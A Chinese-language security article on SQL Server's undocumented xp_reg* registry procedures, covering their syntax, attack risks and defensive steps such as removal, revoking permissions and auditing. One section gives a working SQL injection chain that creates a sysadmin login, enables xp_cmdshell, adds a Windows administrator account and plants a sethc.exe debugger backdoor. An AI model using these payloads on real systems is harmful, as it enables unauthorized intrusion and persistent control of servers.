首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 未文件化登錄存取擴展預存程序:安全風險與防禦

     編輯:關於SqlServer

前言:隱藏的後門

SQL Server 7.0 起內建數個未文件化的擴展預存程序(xp_reg* 系列),可直接讀寫 Windows 登錄。雖功能強大,但屬「非公開、未支援、隨時可能移除」特性,且常被惡意程式碼利用進行權限提升、偵察、持久化。本文詳細記錄其用法、**風險分析**與**停用建議**。

核心程序清單與用法

程序功能語法範例
xp_regenumvalues列舉鍵值xp_regenumvalues @rootkey, @subkeyEXEC xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
xp_regread讀取單一值xp_regread @rootkey, @subkey, @value_nameEXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir'
xp_regwrite寫入值xp_regwrite @rootkey, @subkey, @value_name, @type, @valueEXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestVal', 'REG_SZ', 'hello'
xp_regdeletevalue刪除值xp_regdeletevalue @rootkey, @subkey, @value_nameEXEC xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestVal'
xp_regdeletekey刪除整個鍵xp_regdeletekey @rootkey, @subkeyEXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\TestKey'

參數說明:@rootkey 為根鍵字串(HKEY_LOCAL_MACHINE、HKEY_CURRENT_USER 等);@type 為 REG_SZ(字串)或 REG_DWORD(整數)。

安全風險分析

1. 權限提升路徑

  • SQL Server 服務帳號若為高權限(LocalSystem、Domain Admin),攻擊者透過 SQL Injection 取得 sysadmin 後,可呼叫 xp_regwrite 修改服務啟動參數、登入腳本、映像劫持等實現持久化;
  • 讀取 SAM、LSA Secrets 相關鍵值,離線破解密碼雜湊。

2. 資訊偵察

  • xp_regenumvalues 掃描 HKLM\SYSTEM\CurrentControlSet\Services 發現安裝軟體、服務配置、SNMP 社群字串;
  • xp_regread 讀取網路配置、Proxy 設定、防火牆規則,繪製內網拓撲。

3. 破壞與阻斷

  • xp_regdeletekey/value 刪除關鍵系統鍵值導致作業系統無法開機、服務啟動失敗;
  • 修改 HKLM\SOFTWARE\Microsoft\MSSQLServer 破壞 SQL Server 自身配置。

實戰攻擊鏈範例(SQL Injection → 系統控制)

-- 1. 判斷註入點與權限
.../page.asp?id=1 AND USER_NAME() > 0  -- 回傳 'dbo' 轉換錯誤,確認 sysadmin

-- 2. 新增 SQL 登入
.../page.asp?id=1; EXEC master..sp_addlogin 'hacker', 'P@ssw0rd';--

-- 3. 昇級 sysadmin
.../page.asp?id=1; EXEC master..sp_addsrvrolemember 'hacker', 'sysadmin';--

-- 4. 啟用 xp_cmdshell(若已移除則先加回)
.../page.asp?id=1; EXEC master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';--

-- 5. 建立系統帳號並加入 Administrators
.../page.asp?id=1; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';--
.../page.asp?id=1; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';--

-- 6. 登錄持久化(映像劫持)
.../page.asp?id=1; EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE', 
    'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 
    'Debugger', 'REG_SZ', 'C:\Windows\System32\cmd.exe';--

防禦與緩解措施

1. 移除擴展預存程序(最徹底)

USE master;
EXEC sp_dropextendedproc 'xp_regenumvalues';
EXEC sp_dropextendedproc 'xp_regread';
EXEC sp_dropextendedproc 'xp_regwrite';
EXEC sp_dropextendedproc 'xp_regdeletevalue';
EXEC sp_dropextendedproc 'xp_regdeletekey';
EXEC sp_dropextendedproc 'xp_regaddmultistring';
EXEC sp_dropextendedproc 'xp_regremovemultistring';
EXEC sp_dropextendedproc 'xp_regenumkeys';

注意:移除後應用程式若有相依性會報錯,請先在測試環境驗證。

2. 撤銷 PUBLIC 執行權限(次佳)

REVOKE EXECUTE ON master..xp_regenumvalues TO PUBLIC;
REVOKE EXECUTE ON master..xp_regread TO PUBLIC;
REVOKE EXECUTE ON master..xp_regwrite TO PUBLIC;
REVOKE EXECUTE ON master..xp_regdeletevalue TO PUBLIC;
REVOKE EXECUTE ON master..xp_regdeletekey TO PUBLIC;
-- 僅保留 sysadmin 可執行(預設即如此)

3. 服務帳號最小權限

  • SQL Server 服務帳號**嚴禁使用 LocalSystem / Domain Admin**;
  • 建立專用網域帳號,僅具備「登入為服務」、「調整記憶體配額」等最小權利;
  • 此帳號登錄存取權限僅限 SQL Server 自身安裝路徑與資料目錄。

4. 稽核與監控

  • 啟用「稽核登入失敗/成功」;
  • 部署 DDL 觸發器監控 sp_addextendedproc/sp_dropextendedproc;
  • Windows 稽核原則:啟用「物件存取」→ 登錄關鍵路徑(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 等)審核寫入事件。

版本相容性說明

版本支援狀態備註
SQL Server 7.0內建首次引入
SQL Server 2000內建保留相容性
SQL Server 2005內建但標記棄用建議改用 CLR 整合或 PowerShell
SQL Server 2008+保留但可能未來版本移除官方文件未列出

結語

xp_reg* 系列是 SQL Server 歷史包袱,**生產環境強烈建議全部移除**。若業務確有「從資料庫讀寫登錄」需求(極罕見),請:

  1. 撰寫 CLR 預存程序(EXTERNAL_ACCESS 權限集),以 Managed Code 實作,受 CAS 沙箱限制;
  2. 或由應用層(中介軟體/代理服務)負責登錄操作,資料庫僅提供資料;
  3. 嚴格限制執行權限至特定低權限資料庫角色,並啟用完整稽核。

安全原則:**預設拒絕、最小權限、深層防禦**。未文件化功能 = 不可信功能。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved